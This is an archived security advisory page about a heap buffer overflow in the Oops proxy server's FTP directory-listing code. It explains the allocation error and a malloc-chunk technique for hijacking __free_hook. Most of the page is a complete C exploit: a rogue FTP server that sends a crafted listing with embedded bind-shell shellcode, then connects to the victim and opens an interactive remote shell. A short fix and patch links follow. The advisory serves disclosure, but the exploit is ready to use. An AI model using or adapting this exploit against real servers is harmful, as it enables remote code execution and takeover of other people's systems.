Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: oops-1.htm

Oops 1.4.6 overwrite function pointer exploit



Vulnerability

    oops

Affected

    Oops proxy server 1.4.22 1.4.6 and maybe prior

Description

    Following is  based on  a Packet  Knights Advisory  001.  Function
    list_parser  in  ftp_utils.c  (line  is  the  line sent by the ftp
    server in result of a list command):

        tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);

    p is the line without the filename

        htmlized_something = html_escaping(p);

    and this is the vulnerable sprintf

        sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",
                                      icons_host[0]?icons_host:myhostname,
                                      icons_port[0]?icons_port:"80",
                                      icons_path[0]?icons_path:"icons",
                                      icons[type],
                                      alts[type],
                                      htmlized_something);

    well..  as  you  can  see  tempbuf  allocs  strlen(line)*3.   This
    probably tougth  that the  htmlizing of  the line  can give just a
    string  3  times  bigger  than  the  line.   But  if  you  look at
    html_escaping code you can see that he translates " into "  .
    So by  putting a  large amount  of "  in the  line we can overflow
    tempbuf.

    As  demostrated  by  the  traceroute  and  slocate  exploits, it's
    possibile to overwrite a function pointer modifing a malloc chunk.
    And in this case, after the tempbuf buffer, there is the chunk  of
    htmlized_something.   So  the  exploit  have  to overwrite it, set
    the  the  size  to  0xffffffff  to  make  it a free chunk, put the
    address of  the shellcode  into fd  and the  address of the target
    function pointer into bd (-8),  and when the free() will  call the
    unlink it will  put the shellcode  address into __free_hook.   The
    problem of the exploit is that we must compute exactly the  length
    of tempbuf and hope that malloc will not give it a bigger  length,
    overwrite  perfectly  the  chunk,  know  exactly  the  address  of
    __free_hook and the address of the shellcode.  As you can see  the
    bigger problem is the shellcode.  We can't simply put a (not  too)
    large amount of nop, cause the unlink will fill the zone near  the
    one pointed  by __free_hook  with the  address of  it.. (so.. some
    illegal instrunctions) and  the shellcode have  to jump them.   If
    instead you  point to  a nop  the other  nops after  that will  be
    overwritten by the unlink() and will result in SIGILL.  So..  this
    is very hard  to exploit.. anyway  it's possible..   We include an
    example exploit that worked on slackware 7.0.

    /* Demostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
     * Coded by |CyRaX| <cyrax@pkcrew.org>
     * Packet Knights Crew : www.pkcrew.org
     * Tested on Slackware 7.0
     *
     * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
     * LordFelix & bikappa : for some hints about heap overflow
     * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
    */


    #include <stdio.h>
    #include <stdlib.h>
    #include <netinet/in.h>
    #include <sys/types.h>

    #define ALIGN 0
    #define __FREE_HOOK 0x40175994
    #define SHELLCODE 0x80b1223


    char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
                "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
                "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
                "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
                "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
                "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
                "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
                "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


    int main(int argc,char **argv){
       int s,s2,clnsock,i;
       struct sockaddr_in srv,clt;
       char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
       unsigned long ip;
       int h1,h2,h3,h4,p1,p2;
       u_short port;
       int passive=0,tmplen,wrtlen;
       struct malloc_chunk{
          unsigned int ps;
          unsigned int sz;
          struct malloc_chunk *fd;
          struct malloc_chunk *bd;
       }mc;
       fd_set setz;

       mc.ps=0xffffffff & ~1;
       mc.sz=0xffffffff;
       mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
       mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
       memset(magic2,0x41,0);
       memcpy(magic2+0,&mc,sizeof(mc));

       memset(magic3,'\x90',50);
       memcpy(magic3+50,c0de,strlen(c0de));
       magic3[50+strlen(c0de)]=0;

       if(argc<4){
          printf("Proof exploit against oops proxy server heap buffer overflow!\n");
          printf("by |CyRaX| <cyrax@pkcrew.org>\n");
          printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
          printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
          printf("your ip: it is necessary for the passive mode\n");
          printf("hostname len is the len of the host that he *thinks* to have\n");
          printf("         for example if the hostname is c500 you must put 4 here\n");

          exit(0);
       }
       printf("now set the victim as your proxy in any web browser and go to\n");
       printf("ftp://<your_ip>\n");

       for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';


       s=socket(AF_INET,SOCK_STREAM,0);
       srv.sin_addr.s_addr=INADDR_ANY;
       srv.sin_port=htons(21);
       srv.sin_family=AF_INET;
       if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
          printf("cannot bind to port 21 !\n");
          exit(0);
       }
       listen(s,1);
       clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
       close(s);
       strcpy(buff,"220 exploit is here :)\r\n");
       send(clnsock,buff,strlen(buff),0);
       recv(clnsock,buff,500,0);
       strcpy(buff,"331 any pass is good d00d\r\n");
       send(clnsock,buff,strlen(buff),0);
       recv(clnsock,buff,500,0);
       strcpy(buff,"230 oky d00d.. login done!\r\n");
       send(clnsock,buff,strlen(buff),0);
       while(1){
          memset(buff,0,500);
          if(recv(clnsock,buff,500,0)<0)break;
          if(strstr(buff,"SYST")){
	     strcpy(sndbuff,"215 UNIX Type: L8\r\n");
	     send(clnsock,sndbuff,strlen(sndbuff),0);
          }
          if(strstr(buff,"PASV")){
	     srv.sin_port=htons(1322);
	     if(passive==0){
	        s=socket(AF_INET,SOCK_STREAM,0);
	        if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
	           printf("cannot bind to port 1322 for passive mode!\n");
	           exit(0);
	        }
	        listen(s,4);
	        passive=1;
	     }
	     else {
	        close(s2);
	     }
	     sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
	     send(clnsock,sndbuff,strlen(sndbuff),0);
          }
          if(strstr(buff,"TYPE")){
	     strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
	     send(clnsock,sndbuff,strlen(sndbuff),0);
          }
          if(strstr(buff,"NLST")){
	     if(passive){
	        s2=accept(s,NULL,NULL);
	        strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n");
	        send(clnsock,sndbuff,strlen(sndbuff),0);
	        sprintf(sndbuff,"%s\r\n",magic3);
	        send(s2,sndbuff,strlen(sndbuff),0);
	        close(s2);
	        strcpy(sndbuff,"226 Transfer complete.!\r\n");
	        send(clnsock,sndbuff,strlen(sndbuff),0);

	     }
          }

          if(strstr(buff,"LIST")){
	     strcpy(sndbuff,"150 vieni pure amore!\r\n");
	     s2=accept(s,NULL,NULL);

	     /*   HOW MANY BYTES TO WRITE COMPUTING */
	     tmplen=0;
	     tmplen=strlen("Arwxrwxrwx rooOOOt   \r\n ")*3+strlen(magic2)*3+
	       strlen(magic3)*3;
	     tmplen=tmplen+128; /* dovesok */
	     tmplen=tmplen+atoi(argv[3]);
	     tmplen+=10;
	     wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
		           "alt=\"[Unkn] \" ")+atoi(argv[3]);
	     wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt   \r\n")+strlen(magic2);
	     i=0;

	     while((wrtlen-tmplen)<16){
	           magic[i]='"';
	           tmplen+=3; /* 1 *3 */
	           wrtlen+=6; /* " */
	           i++;
	     }
	     magic[i]=0;
	     printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);


	     memset(sndbuff,0,1500);
	     snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
		      magic,
		      magic2,
		      magic3);

	     send(s2,sndbuff,3000,0);
	     strcpy(sndbuff,"226 Ho finito\r\n");
	     send(clnsock,sndbuff,strlen(sndbuff),0);
	     shutdown(s2,2);
	     printf("closed!\n");
	     sleep(5);
	     s2=socket(AF_INET,SOCK_STREAM,0);
	     clt.sin_addr.s_addr=inet_addr(argv[2]);
	     clt.sin_port=htons(3879);
	     clt.sin_family=AF_INET;
	     if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
	        printf("SORRY.. it didn't work!\n");
	        exit(0);
	     }
	     strcpy(sndbuff,"uname -a;id\n");
	     send(s2,sndbuff,strlen(sndbuff),0);
	     while(1){
	        FD_ZERO(&setz);
	        FD_SET(0,&setz);
	        FD_SET(s2,&setz);
	        select(s2+1,&setz,NULL,NULL,NULL);
	        if(FD_ISSET(0,&setz)){
	           memset(sndbuff,0,sizeof(sndbuff));
	           fgets(sndbuff,sizeof(sndbuff),stdin);
	           send(s2,sndbuff,strlen(sndbuff),0);
	        }
	        if(FD_ISSET(s2,&setz)){
	           memset(sndbuff,0,sizeof(sndbuff));
	           recv(s2,sndbuff,sizeof(sndbuff),0);
	           printf("%s",sndbuff);
	        }
	     }
          }
          if(strstr(buff,"CWD")){
	     strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
	     send(clnsock,sndbuff,strlen(sndbuff),0);
          }
          if(strstr(buff,"PWD")){
	     strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
	     send(clnsock,sndbuff,strlen(sndbuff),0);
          }
          if(strstr(buff,"QUIT")){
	     close(clnsock);
          }
       }
       close(clnsock);
       close(s);
       close(s2);
    }

Solution

    Well.. a quick fix could be just changing the alloc line into:

        tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];

    but  you  can  save  more  memory  allocating  tempbuf  after  the
    html_escaping.   Anyway.. the  authors were  contacted and they're
    fixing it in a better way.

    For FreeBSD:

        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/www/oops-1.5.2.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/www/oops-1.5.2.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/www/oops-1.5.2.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/www/oops-1.5.2.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/www/oops-1.5.2.tgz


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH